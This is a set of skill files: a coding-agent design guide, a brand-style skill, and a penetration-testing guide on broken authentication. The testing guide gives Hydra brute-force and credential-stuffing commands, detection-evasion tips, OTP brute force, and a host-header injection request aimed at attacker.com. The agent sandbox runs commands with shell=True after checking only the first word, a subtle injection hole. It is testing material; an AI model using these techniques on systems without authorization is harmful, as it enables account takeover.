if start_line and end_line:
|
||||
lines = lines[start_line-1:end_line]
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output="".join(lines)
|
||||
)
|
||||
except FileNotFoundError:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"File not found: {path}"
|
||||
)
|
||||
```
|
||||
|
||||
### 2.2 Essential Agent Tools
|
||||
|
||||
```python
|
||||
CODING_AGENT_TOOLS = {
|
||||
# File operations
|
||||
"read_file": "Read file contents",
|
||||
"write_file": "Create or overwrite a file",
|
||||
"edit_file": "Make targeted edits to a file",
|
||||
"list_directory": "List files and folders",
|
||||
"search_files": "Search for files by pattern",
|
||||
|
||||
# Code understanding
|
||||
"search_code": "Search for code patterns (grep)",
|
||||
"get_definition": "Find function/class definition",
|
||||
"get_references": "Find all references to a symbol",
|
||||
|
||||
# Terminal
|
||||
"run_command": "Execute a shell command",
|
||||
"read_output": "Read command output",
|
||||
"send_input": "Send input to running command",
|
||||
|
||||
# Browser (optional)
|
||||
"open_browser": "Open URL in browser",
|
||||
"click_element": "Click on page element",
|
||||
"type_text": "Type text into input",
|
||||
"screenshot": "Capture screenshot",
|
||||
|
||||
# Context
|
||||
"ask_user": "Ask the user a question",
|
||||
"search_web": "Search the web for information"
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 Edit Tool Design
|
||||
|
||||
```python
|
||||
class EditFileTool(Tool):
|
||||
"""
|
||||
Precise file editing with conflict detection.
|
||||
Uses search/replace pattern for reliable edits.
|
||||
"""
|
||||
|
||||
name = "edit_file"
|
||||
description = "Edit a file by replacing specific content"
|
||||
|
||||
def execute(
|
||||
self,
|
||||
path: str,
|
||||
search: str,
|
||||
replace: str,
|
||||
expected_occurrences: int = 1
|
||||
) -> ToolResult:
|
||||
"""
|
||||
Args:
|
||||
path: File to edit
|
||||
search: Exact text to find (must match exactly, including whitespace)
|
||||
replace: Text to replace with
|
||||
expected_occurrences: How many times search should appear (validation)
|
||||
"""
|
||||
with open(path, 'r') as f:
|
||||
content = f.read()
|
||||
|
||||
# Validate
|
||||
actual_occurrences = content.count(search)
|
||||
if actual_occurrences != expected_occurrences:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Expected {expected_occurrences} occurrences, found {actual_occurrences}"
|
||||
)
|
||||
|
||||
if actual_occurrences == 0:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error="Search text not found in file"
|
||||
)
|
||||
|
||||
# Apply edit
|
||||
new_content = content.replace(search, replace)
|
||||
|
||||
with open(path, 'w') as f:
|
||||
f.write(new_content)
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output=f"Replaced {actual_occurrences} occurrence(s)"
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Permission & Safety Patterns
|
||||
|
||||
### 3.1 Permission Levels
|
||||
|
||||
```python
|
||||
class PermissionLevel(Enum):
|
||||
# Fully automatic - no user approval needed
|
||||
AUTO = "auto"
|
||||
|
||||
# Ask once per session
|
||||
ASK_ONCE = "ask_once"
|
||||
|
||||
# Ask every time
|
||||
ASK_EACH = "ask_each"
|
||||
|
||||
# Never allow
|
||||
NEVER = "never"
|
||||
|
||||
PERMISSION_CONFIG = {
|
||||
# Low risk - can auto-approve
|
||||
"read_file": PermissionLevel.AUTO,
|
||||
"list_directory": PermissionLevel.AUTO,
|
||||
"search_code": PermissionLevel.AUTO,
|
||||
|
||||
# Medium risk - ask once
|
||||
"write_file": PermissionLevel.ASK_ONCE,
|
||||
"edit_file": PermissionLevel.ASK_ONCE,
|
||||
|
||||
# High risk - ask each time
|
||||
"run_command": PermissionLevel.ASK_EACH,
|
||||
"delete_file": PermissionLevel.ASK_EACH,
|
||||
|
||||
# Dangerous - never auto-approve
|
||||
"sudo_command": PermissionLevel.NEVER,
|
||||
"format_disk": PermissionLevel.NEVER
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 Approval UI Pattern
|
||||
|
||||
```python
|
||||
class ApprovalManager:
|
||||
def __init__(self, ui, config):
|
||||
self.ui = ui
|
||||
self.config = config
|
||||
self.session_approvals = {}
|
||||
|
||||
def request_approval(self, tool_name: str, args: dict) -> bool:
|
||||
level = self.config.get(tool_name, PermissionLevel.ASK_EACH)
|
||||
|
||||
if level == PermissionLevel.AUTO:
|
||||
return True
|
||||
|
||||
if level == PermissionLevel.NEVER:
|
||||
self.ui.show_error(f"Tool '{tool_name}' is not allowed")
|
||||
return False
|
||||
|
||||
if level == PermissionLevel.ASK_ONCE:
|
||||
if tool_name in self.session_approvals:
|
||||
return self.session_approvals[tool_name]
|
||||
|
||||
# Show approval dialog
|
||||
approved = self.ui.show_approval_dialog(
|
||||
tool=tool_name,
|
||||
args=args,
|
||||
risk_level=self._assess_risk(tool_name, args)
|
||||
)
|
||||
|
||||
if level == PermissionLevel.ASK_ONCE:
|
||||
self.session_approvals[tool_name] = approved
|
||||
|
||||
return approved
|
||||
|
||||
def _assess_risk(self, tool_name: str, args: dict) -> str:
|
||||
"""Analyze specific call for risk level"""
|
||||
if tool_name == "run_command":
|
||||
cmd = args.get("command", "")
|
||||
if any(danger in cmd for danger in ["rm -rf", "sudo", "chmod"]):
|
||||
return "HIGH"
|
||||
return "MEDIUM"
|
||||
```
|
||||
|
||||
### 3.3 Sandboxing
|
||||
|
||||
```python
|
||||
class SandboxedExecution:
|
||||
"""
|
||||
Execute code/commands in isolated environment
|
||||
"""
|
||||
|
||||
def __init__(self, workspace_dir: str):
|
||||
self.workspace = workspace_dir
|
||||
self.allowed_commands = ["npm", "python", "node", "git", "ls", "cat"]
|
||||
self.blocked_paths = ["/etc", "/usr", "/bin", os.path.expanduser("~")]
|
||||
|
||||
def validate_path(self, path: str) -> bool:
|
||||
"""Ensure path is within workspace"""
|
||||
real_path = os.path.realpath(path)
|
||||
workspace_real = os.path.realpath(self.workspace)
|
||||
return real_path.startswith(workspace_real)
|
||||
|
||||
def validate_command(self, command: str) -> bool:
|
||||
"""Check if command is allowed"""
|
||||
cmd_parts = shlex.split(command)
|
||||
if not cmd_parts:
|
||||
return False
|
||||
|
||||
base_cmd = cmd_parts[0]
|
||||
return base_cmd in self.allowed_commands
|
||||
|
||||
def execute_sandboxed(self, command: str) -> ToolResult:
|
||||
if not self.validate_command(command):
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Command not allowed: {command}"
|
||||
)
|
||||
|
||||
# Execute in isolated environment
|
||||
result = subprocess.run(
|
||||
command,
|
||||
shell=True,
|
||||
cwd=self.workspace,
|
||||
capture_output=True,
|
||||
timeout=30,
|
||||
env={
|
||||
**os.environ,
|
||||
"HOME": self.workspace, # Isolate home directory
|
||||
}
|
||||
)
|
||||
|
||||
return ToolResult(
|
||||
success=result.returncode == 0,
|
||||
output=result.stdout.decode(),
|
||||
error=result.stderr.decode() if result.returncode != 0 else None
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Browser Automation
|
||||
|
||||
### 4.1 Browser Tool Pattern
|
||||
|
||||
```python
|
||||
class BrowserTool:
|
||||
"""
|
||||
Browser automation for agents using Playwright/Puppeteer.
|
||||
Enables visual debugging and web testing.
|
||||
"""
|
||||
|
||||
def __init__(self, headless: bool = True):
|
||||
self.browser = None
|
||||
self.page = None
|
||||
self.headless = headless
|
||||
|
||||
async def open_url(self, url: str) -> ToolResult:
|
||||
"""Navigate to URL and return page info"""
|
||||
if not self.browser:
|
||||
self.browser = await playwright.chromium.launch(headless=self.headless)
|
||||
self.page = await self.browser.new_page()
|
||||
|
||||
await self.page.goto(url)
|
||||
|
||||
# Capture state
|
||||
screenshot = await self.page.screenshot(type='png')
|
||||
title = await self.page.title()
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output=f"Loaded: {title}",
|
||||
metadata={
|
||||
"screenshot": base64.b64encode(screenshot).decode(),
|
||||
"url": self.page.url
|
||||
}
|
||||
)
|
||||
|
||||
async def click(self, selector: str) -> ToolResult:
|
||||
"""Click on an element"""
|
||||
try:
|
||||
await self.page.click(selector, timeout=5000)
|
||||
await self.page.wait_for_load_state("networkidle")
|
||||
|
||||
screenshot = await self.page.screenshot()
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output=f"Clicked: {selector}",
|
||||
metadata={"screenshot": base64.b64encode(screenshot).decode()}
|
||||
)
|
||||
except TimeoutError:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Element not found: {selector}"
|
||||
)
|
||||
|
||||
async def type_text(self, selector: str, text: str) -> ToolResult:
|
||||
"""Type text into an input"""
|
||||
await self.page.fill(selector, text)
|
||||
return ToolResult(success=True, output=f"Typed into {selector}")
|
||||
|
||||
async def get_page_content(self) -> ToolResult:
|
||||
"""Get accessible text content of the page"""
|
||||
content = await self.page.evaluate("""
|
||||
() => {
|
||||
// Get visible text
|
||||
const walker = document.createTreeWalker(
|
||||
document.body,
|
||||
NodeFilter.SHOW_TEXT,
|
||||
null,
|
||||
false
|
||||
);
|
||||
|
||||
let text = '';
|
||||
while (walker.nextNode()) {
|
||||
const node = walker.currentNode;
|
||||
if (node.textContent.trim()) {
|
||||
text += node.textContent.trim() + '\\n';
|
||||
}
|
||||
}
|
||||
return text;
|
||||
}
|
||||
""")
|
||||
return ToolResult(success=True, output=content)
|
||||
```
|
||||
|
||||
### 4.2 Visual Agent Pattern
|
||||
|
||||
```python
|
||||
class VisualAgent:
|
||||
"""
|
||||
Agent that uses screenshots to understand web pages.
|
||||
Can identify elements visually without selectors.
|
||||
"""
|
||||
|
||||
def __init__(self, llm, browser):
|
||||
self.llm = llm
|
||||
self.browser = browser
|
||||
|
||||
async def describe_page(self) -> str:
|
||||
"""Use vision model to describe current page"""
|
||||
screenshot = await self.browser.screenshot()
|
||||
|
||||
response = self.llm.chat([
|
||||
{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{"type": "text", "text": "Describe this webpage. List all interactive elements you see."},
|
||||
{"type": "image", "data": screenshot}
|
||||
]
|
||||
}
|
||||
])
|
||||
|
||||
return response.content
|
||||
|
||||
async def find_and_click(self, description: str) -> ToolResult:
|
||||
"""Find element by visual description and click it"""
|
||||
screenshot = await self.browser.screenshot()
|
||||
|
||||
# Ask vision model to find element
|
||||
response = self.llm.chat([
|
||||
{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{
|
||||
"type": "text",
|
||||
"text": f"""
|
||||
Find the element matching: "{description}"
|
||||
Return the approximate coordinates as JSON: {{"x": number, "y": number}}
|
||||
"""
|
||||
},
|
||||
{"type": "image", "data": screenshot}
|
||||
]
|
||||
}
|
||||
])
|
||||
|
||||
coords = json.loads(response.content)
|
||||
await self.browser.page.mouse.click(coords["x"], coords["y"])
|
||||
|
||||
return ToolResult(success=True, output=f"Clicked at ({coords['x']}, {coords['y']})")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Context Management
|
||||
|
||||
### 5.1 Context Injection Patterns
|
||||
|
||||
````python
|
||||
class ContextManager:
|
||||
"""
|
||||
Manage context provided to the agent.
|
||||
Inspired by Cline's @-mention patterns.
|
||||
"""
|
||||
|
||||
def __init__(self, workspace: str):
|
||||
self.workspace = workspace
|
||||
self.context = []
|
||||
|
||||
def add_file(self, path: str) -> None:
|
||||
"""@file - Add file contents to context"""
|
||||
with open(path, 'r') as f:
|
||||
content = f.read()
|
||||
|
||||
self.context.append({
|
||||
"type": "file",
|
||||
"path": path,
|
||||
"content": content
|
||||
})
|
||||
|
||||
def add_folder(self, path: str, max_files: int = 20) -> None:
|
||||
"""@folder - Add all files in folder"""
|
||||
for root, dirs, files in os.walk(path):
|
||||
for file in files[:max_files]:
|
||||
file_path = os.path.join(root, file)
|
||||
self.add_file(file_path)
|
||||
|
||||
def add_url(self, url: str) -> None:
|
||||
"""@url - Fetch and add URL content"""
|
||||
response = requests.get(url)
|
||||
content = html_to_markdown(response.text)
|
||||
|
||||
self.context.append({
|
||||
"type": "url",
|
||||
"url": url,
|
||||
"content": content
|
||||
})
|
||||
|
||||
def add_problems(self, diagnostics: list) -> None:
|
||||
"""@problems - Add IDE diagnostics"""
|
||||
self.context.append({
|
||||
"type": "diagnostics",
|
||||
"problems": diagnostics
|
||||
})
|
||||
|
||||
def format_for_prompt(self) -> str:
|
||||
"""Format all context for LLM prompt"""
|
||||
parts = []
|
||||
for item in self.context:
|
||||
if item["type"] == "file":
|
||||
parts.append(f"## File: {item['path']}\n```\n{item['content']}\n```")
|
||||
elif item["type"] == "url":
|
||||
parts.append(f"## URL: {item['url']}\n{item['content']}")
|
||||
elif item["type"] == "diagnostics":
|
||||
parts.append(f"## Problems:\n{json.dumps(item['problems'], indent=2)}")
|
||||
|
||||
return "\n\n".join(parts)
|
||||
````
|
||||
|
||||
### 5.2 Checkpoint/Resume
|
||||
|
||||
```python
|
||||
class CheckpointManager:
|
||||
"""
|
||||
Save and restore agent state for long-running tasks.
|
||||
"""
|
||||
|
||||
def __init__(self, storage_dir: str):
|
||||
self.storage_dir = storage_dir
|
||||
os.makedirs(storage_dir, exist_ok=True)
|
||||
|
||||
def save_checkpoint(self, session_id: str, state: dict) -> str:
|
||||
"""Save current agent state"""
|
||||
checkpoint = {
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"session_id": session_id,
|
||||
"history": state["history"],
|
||||
"context": state["context"],
|
||||
"workspace_state": self._capture_workspace(state["workspace"]),
|
||||
"metadata": state.get("metadata", {})
|
||||
}
|
||||
|
||||
path = os.path.join(self.storage_dir, f"{session_id}.json")
|
||||
with open(path, 'w') as f:
|
||||
json.dump(checkpoint, f, indent=2)
|
||||
|
||||
return path
|
||||
|
||||
def restore_checkpoint(self, checkpoint_path: str) -> dict:
|
||||
"""Restore agent state from checkpoint"""
|
||||
with open(checkpoint_path, 'r') as f:
|
||||
checkpoint = json.load(f)
|
||||
|
||||
return {
|
||||
"history": checkpoint["history"],
|
||||
"context": checkpoint["context"],
|
||||
"workspace": self._restore_workspace(checkpoint["workspace_state"]),
|
||||
"metadata": checkpoint["metadata"]
|
||||
}
|
||||
|
||||
def _capture_workspace(self, workspace: str) -> dict:
|
||||
"""Capture relevant workspace state"""
|
||||
# Git status, file hashes, etc.
|
||||
return {
|
||||
"git_ref": subprocess.getoutput(f"cd {workspace} && git rev-parse HEAD"),
|
||||
"git_dirty": subprocess.getoutput(f"cd {workspace} && git status --porcelain")
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. MCP (Model Context Protocol) Integration
|
||||
|
||||
### 6.1 MCP Server Pattern
|
||||
|
||||
```python
|
||||
from mcp import Server, Tool
|
||||
|
||||
class MCPAgent:
|
||||
"""
|
||||
Agent that can dynamically discover and use MCP tools.
|
||||
'Add a tool that...' pattern from Cline.
|
||||
"""
|
||||
|
||||
def __init__(self, llm):
|
||||
self.llm = llm
|
||||
self.mcp_servers = {}
|
||||
self.available_tools = {}
|
||||
|
||||
def connect_server(self, name: str, config: dict) -> None:
|
||||
"""Connect to an MCP server"""
|
||||
server = Server(config)
|
||||
self.mcp_servers[name] = server
|
||||
|
||||
# Discover tools
|
||||
tools = server.list_tools()
|
||||
for tool in tools:
|
||||
self.available_tools[tool.name] = {
|
||||
"server": name,
|
||||
"schema": tool.schema
|
||||
}
|
||||
|
||||
async def create_tool(self, description: str) -> str:
|
||||
"""
|
||||
Create a new MCP server based on user description.
|
||||
'Add a tool that fetches Jira tickets'
|
||||
"""
|
||||
# Generate MCP server code
|
||||
code = self.llm.generate(f"""
|
||||
Create a Python MCP server with a tool that does:
|
||||
{description}
|
||||
|
||||
Use the FastMCP framework. Include proper error handling.
|
||||
Return only the Python code.
|
||||
""")
|
||||
|
||||
# Save and install
|
||||
server_name = self._extract_name(description)
|
||||
path = f"./mcp_servers/{server_name}/server.py"
|
||||
|
||||
with open(path, 'w') as f:
|
||||
f.write(code)
|
||||
|
||||
# Hot-reload
|
||||
self.connect_server(server_name, {"path": path})
|
||||
|
||||
return f"Created tool: {server_name}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices Checklist
|
||||
|
||||
### Agent Design
|
||||
|
||||
- [ ] Clear task decomposition
|
||||
- [ ] Appropriate tool granularity
|
||||
- [ ] Error handling at each step
|
||||
- [ ] Progress visibility to user
|
||||
|
||||
### Safety
|
||||
|
||||
- [ ] Permission system implemented
|
||||
- [ ] Dangerous operations blocked
|
||||
- [ ] Sandbox for untrusted code
|
||||
- [ ] Audit logging enabled
|
||||
|
||||
### UX
|
||||
|
||||
- [ ] Approval UI is clear
|
||||
- [ ] Progress updates provided
|
||||
- [ ] Undo/rollback available
|
||||
- [ ] Explanation of actions
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Cline](https://github.com/cline/cline)
|
||||
- [OpenAI Codex](https://github.com/openai/codex)
|
||||
- [Model Context Protocol](https://modelcontextprotocol.io/)
|
||||
- [Anthropic Tool Use](https://docs.anthropic.com/claude/docs/tool-use)
|
||||
73
skills/brand-guidelines-community/SKILL.md
Normal file
73
skills/brand-guidelines-community/SKILL.md
Normal file
@@ -0,0 +1,73 @@
|
||||
---
|
||||
name: brand-guidelines
|
||||
description: Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply.
|
||||
license: Complete terms in LICENSE.txt
|
||||
---
|
||||
|
||||
# Anthropic Brand Styling
|
||||
|
||||
## Overview
|
||||
|
||||
To access Anthropic's official brand identity and style resources, use this skill.
|
||||
|
||||
**Keywords**: branding, corporate identity, visual identity, post-processing, styling, brand colors, typography, Anthropic brand, visual formatting, visual design
|
||||
|
||||
## Brand Guidelines
|
||||
|
||||
### Colors
|
||||
|
||||
**Main Colors:**
|
||||
|
||||
- Dark: `#141413` - Primary text and dark backgrounds
|
||||
- Light: `#faf9f5` - Light backgrounds and text on dark
|
||||
- Mid Gray: `#b0aea5` - Secondary elements
|
||||
- Light Gray: `#e8e6dc` - Subtle backgrounds
|
||||
|
||||
**Accent Colors:**
|
||||
|
||||
- Orange: `#d97757` - Primary accent
|
||||
- Blue: `#6a9bcc` - Secondary accent
|
||||
- Green: `#788c5d` - Tertiary accent
|
||||
|
||||
### Typography
|
||||
|
||||
- **Headings**: Poppins (with Arial fallback)
|
||||
- **Body Text**: Lora (with Georgia fallback)
|
||||
- **Note**: Fonts should be pre-installed in your environment for best results
|
||||
|
||||
## Features
|
||||
|
||||
### Smart Font Application
|
||||
|
||||
- Applies Poppins font to headings (24pt and larger)
|
||||
- Applies Lora font to body text
|
||||
- Automatically falls back to Arial/Georgia if custom fonts unavailable
|
||||
- Preserves readability across all systems
|
||||
|
||||
### Text Styling
|
||||
|
||||
- Headings (24pt+): Poppins font
|
||||
- Body text: Lora font
|
||||
- Smart color selection based on background
|
||||
- Preserves text hierarchy and formatting
|
||||
|
||||
### Shape and Accent Colors
|
||||
|
||||
- Non-text shapes use accent colors
|
||||
- Cycles through orange, blue, and green accents
|
||||
- Maintains visual interest while staying on-brand
|
||||
|
||||
## Technical Details
|
||||
|
||||
### Font Management
|
||||
|
||||
- Uses system-installed Poppins and Lora fonts when available
|
||||
- Provides automatic fallback to Arial (headings) and Georgia (body)
|
||||
- No font installation required - works with existing system fonts
|
||||
- For best results, pre-install Poppins and Lora fonts in your environment
|
||||
|
||||
### Color Application
|
||||
|
||||
- Uses RGB color values for precise brand matching
|
||||
- Applied via python-pptx's RGBColor class
|
||||
- Maintains color fidelity across different systems
|
||||
473
skills/broken-authentication/SKILL.md
Normal file
473
skills/broken-authentication/SKILL.md
Normal file
@@ -0,0 +1,473 @@
|
||||
---
|
||||
name: Broken Authentication Testing
|
||||
description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
|
||||
---
|
||||
|
||||
# Broken Authentication Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Knowledge
|
||||
- HTTP protocol and session mechanisms
|
||||
- Authentication types (SFA, 2FA, MFA)
|
||||
- Cookie and token handling
|
||||
- Common authentication frameworks
|
||||
|
||||
### Required Tools
|
||||
- Burp Suite Professional or Community
|
||||
- Hydra or similar brute-force tools
|
||||
- Custom wordlists for credential testing
|
||||
- Browser developer tools
|
||||
|
||||
### Required Access
|
||||
- Target application URL
|
||||
- Test account credentials
|
||||
- Written authorization for testing
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Authentication Assessment Report** - Document all identified vulnerabilities
|
||||
2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
|
||||
3. **Session Security Analysis** - Token randomness and timeout evaluation
|
||||
4. **Remediation Recommendations** - Security hardening guidance
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Authentication Mechanism Analysis
|
||||
|
||||
Understand the application's authentication architecture:
|
||||
|
||||
```
|
||||
# Identify authentication type
|
||||
- Password-based (forms, basic auth, digest)
|
||||
- Token-based (JWT, OAuth, API keys)
|
||||
- Certificate-based (mutual TLS)
|
||||
- Multi-factor (SMS, TOTP, hardware tokens)
|
||||
|
||||
# Map authentication endpoints
|
||||
/login, /signin, /authenticate
|
||||
/register, /signup
|
||||
/forgot-password, /reset-password
|
||||
/logout, /signout
|
||||
/api/auth/*, /oauth/*
|
||||
```
|
||||
|
||||
Capture and analyze authentication requests:
|
||||
|
||||
```http
|
||||
POST /login HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=test&password=test123
|
||||
```
|
||||
|
||||
### Phase 2: Password Policy Testing
|
||||
|
||||
Evaluate password requirements and enforcement:
|
||||
|
||||
```bash
|
||||
# Test minimum length (a, ab, abcdefgh)
|
||||
# Test complexity (password, password1, Password1!)
|
||||
# Test common weak passwords (123456, password, qwerty, admin)
|
||||
# Test username as password (admin/admin, test/test)
|
||||
```
|
||||
|
||||
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
|
||||
|
||||
### Phase 3: Credential Enumeration
|
||||
|
||||
Test for username enumeration vulnerabilities:
|
||||
|
||||
```bash
|
||||
# Compare responses for valid vs invalid usernames
|
||||
# Invalid: "Invalid username" vs Valid: "Invalid password"
|
||||
# Check timing differences, response codes, registration messages
|
||||
```
|
||||
|
||||
# Password reset
|
||||
"Email sent if account exists" (secure)
|
||||
"No account with that email" (leaks info)
|
||||
|
||||
# API responses
|
||||
{"error": "user_not_found"}
|
||||
{"error": "invalid_password"}
|
||||
```
|
||||
|
||||
### Phase 4: Brute Force Testing
|
||||
|
||||
Test account lockout and rate limiting:
|
||||
|
||||
```bash
|
||||
# Using Hydra for form-based auth
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
|
||||
target.com http-post-form \
|
||||
"/login:username=^USER^&password=^PASS^:Invalid credentials"
|
||||
|
||||
# Using Burp Intruder
|
||||
1. Capture login request
|
||||
2. Send to Intruder
|
||||
3. Set payload positions on password field
|
||||
4. Load wordlist
|
||||
5. Start attack
|
||||
6. Analyze response lengths/codes
|
||||
```
|
||||
|
||||
Check for protections:
|
||||
|
||||
```bash
|
||||
# Account lockout
|
||||
- After how many attempts?
|
||||
- Duration of lockout?
|
||||
- Lockout notification?
|
||||
|
||||
# Rate limiting
|
||||
- Requests per minute limit?
|
||||
- IP-based or account-based?
|
||||
- Bypass via headers (X-Forwarded-For)?
|
||||
|
||||
# CAPTCHA
|
||||
- After failed attempts?
|
||||
- Easily bypassable?
|
||||
```
|
||||
|
||||
### Phase 5: Credential Stuffing
|
||||
|
||||
Test with known breached credentials:
|
||||
|
||||
```bash
|
||||
# Credential stuffing differs from brute force
|
||||
# Uses known email:password pairs from breaches
|
||||
|
||||
# Using Burp Intruder with Pitchfork attack
|
||||
1. Set username and password as positions
|
||||
2. Load email list as payload 1
|
||||
3. Load password list as payload 2 (matched pairs)
|
||||
4. Analyze for successful logins
|
||||
|
||||
# Detection evasion
|
||||
- Slow request rate
|
||||
- Rotate source IPs
|
||||
- Randomize user agents
|
||||
- Add delays between attempts
|
||||
```
|
||||
|
||||
### Phase 6: Session Management Testing
|
||||
|
||||
Analyze session token security:
|
||||
|
||||
```bash
|
||||
# Capture session cookie
|
||||
Cookie: SESSIONID=abc123def456
|
||||
|
||||
# Test token characteristics
|
||||
1. Entropy - Is it random enough?
|
||||
2. Length - Sufficient length (128+ bits)?
|
||||
3. Predictability - Sequential patterns?
|
||||
4. Secure flags - HttpOnly, Secure, SameSite?
|
||||
```
|
||||
|
||||
Session token analysis:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import hashlib
|
||||
|
||||
# Collect multiple session tokens
|
||||
tokens = []
|
||||
for i in range(100):
|
||||
response = requests.get("https://target.com/login")
|
||||
token = response.cookies.get("SESSIONID")
|
||||
tokens.append(token)
|
||||
|
||||
# Analyze for patterns
|
||||
# Check for sequential increments
|
||||
# Calculate entropy
|
||||
# Look for timestamp components
|
||||
```
|
||||
|
||||
### Phase 7: Session Fixation Testing
|
||||
|
||||
Test if session is regenerated after authentication:
|
||||
|
||||
```bash
|
||||
# Step 1: Get session before login
|
||||
GET /login HTTP/1.1
|
||||
Response: Set-Cookie: SESSIONID=abc123
|
||||
|
||||
# Step 2: Login with same session
|
||||
POST /login HTTP/1.1
|
||||
Cookie: SESSIONID=abc123
|
||||
username=valid&password=valid
|
||||
|
||||
# Step 3: Check if session changed
|
||||
# VULNERABLE if SESSIONID remains abc123
|
||||
# SECURE if new session assigned after login
|
||||
```
|
||||
|
||||
Attack scenario:
|
||||
|
||||
```bash
|
||||
# Attacker workflow:
|
||||
1. Attacker visits site, gets session: SESSIONID=attacker_session
|
||||
2. Attacker sends link to victim with fixed session:
|
||||
https://target.com/login?SESSIONID=attacker_session
|
||||
3. Victim logs in with attacker's session
|
||||
4. Attacker now has authenticated session
|
||||
```
|
||||
|
||||
### Phase 8: Session Timeout Testing
|
||||
|
||||
Verify session expiration policies:
|
||||
|
||||
```bash
|
||||
# Test idle timeout
|
||||
1. Login and note session cookie
|
||||
2. Wait without activity (15, 30, 60 minutes)
|
||||
3. Attempt to use session
|
||||
4. Check if session is still valid
|
||||
|
||||
# Test absolute timeout
|
||||
1. Login and continuously use session
|
||||
2. Check if forced logout after set period (8 hours, 24 hours)
|
||||
|
||||
# Test logout functionality
|
||||
1. Login and note session
|
||||
2. Click logout
|
||||
3. Attempt to reuse old session cookie
|
||||
4. Session should be invalidated server-side
|
||||
```
|
||||
|
||||
### Phase 9: Multi-Factor Authentication Testing
|
||||
|
||||
Assess MFA implementation security:
|
||||
|
||||
```bash
|
||||
# OTP brute force
|
||||
- 4-digit OTP = 10,000 combinations
|
||||
- 6-digit OTP = 1,000,000 combinations
|
||||
- Test rate limiting on OTP endpoint
|
||||
|
||||
# OTP bypass techniques
|
||||
- Skip MFA step by direct URL access
|
||||
- Modify response to indicate MFA passed
|
||||
- Null/empty OTP submission
|
||||
- Previous valid OTP reuse
|
||||
|
||||
# API Version Downgrade Attack (crAPI example)
|
||||
# If /api/v3/check-otp has rate limiting, try older versions:
|
||||
POST /api/v2/check-otp
|
||||
{"otp": "1234"}
|
||||
# Older API versions may lack security controls
|
||||
|
||||
# Using Burp for OTP testing
|
||||
1. Capture OTP verification request
|
||||
2. Send to Intruder
|
||||
3. Set OTP field as payload position
|
||||
4. Use numbers payload (0000-9999)
|
||||
5. Check for successful bypass
|
||||
```
|
||||
|
||||
Test MFA enrollment:
|
||||
|
||||
```bash
|
||||
# Forced enrollment
|
||||
- Can MFA be skipped during setup?
|
||||
- Can backup codes be accessed without verification?
|
||||
|
||||
# Recovery process
|
||||
- Can MFA be disabled via email alone?
|
||||
- Social engineering potential?
|
||||
```
|
||||
|
||||
### Phase 10: Password Reset Testing
|
||||
|
||||
Analyze password reset security:
|
||||
|
||||
```bash
|
||||
# Token security
|
||||
1. Request password reset
|
||||
2. Capture reset link
|
||||
3. Analyze token:
|
||||
- Length and randomness
|
||||
- Expiration time
|
||||
- Single-use enforcement
|
||||
- Account binding
|
||||
|
||||
# Token manipulation
|
||||
https://target.com/reset?token=abc123&user=victim
|
||||
# Try changing user parameter while using valid token
|
||||
|
||||
# Host header injection
|
||||
POST /forgot-password HTTP/1.1
|
||||
Host: attacker.com
|
||||
email=victim@email.com
|
||||
# Reset email may contain attacker's domain
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Vulnerability Types
|
||||
|
||||
| Vulnerability | Risk | Test Method |
|
||||
|--------------|------|-------------|
|
||||
| Weak passwords | High | Policy testing, dictionary attack |
|
||||
| No lockout | High | Brute force testing |
|
||||
| Username enumeration | Medium | Differential response analysis |
|
||||
| Session fixation | High | Pre/post-login session comparison |
|
||||
| Weak session tokens | High | Entropy analysis |
|
||||
| No session timeout | Medium | Long-duration session testing |
|
||||
| Insecure password reset | High | Token analysis, workflow bypass |
|
||||
| MFA bypass | Critical | Direct access, response manipulation |
|
||||
|
||||
### Credential Testing Payloads
|
||||
|
||||
```bash
|
||||
# Default credentials
|
||||
admin:admin
|
||||
admin:password
|
||||
admin:123456
|
||||
root:root
|
||||
test:test
|
||||
user:user
|
||||
|
||||
# Common passwords
|
||||
123456
|
||||
password
|
||||
12345678
|
||||
qwerty
|
||||
abc123
|
||||
password1
|
||||
admin123
|
||||
|
||||
# Breached credential databases
|
||||
- Have I Been Pwned dataset
|
||||
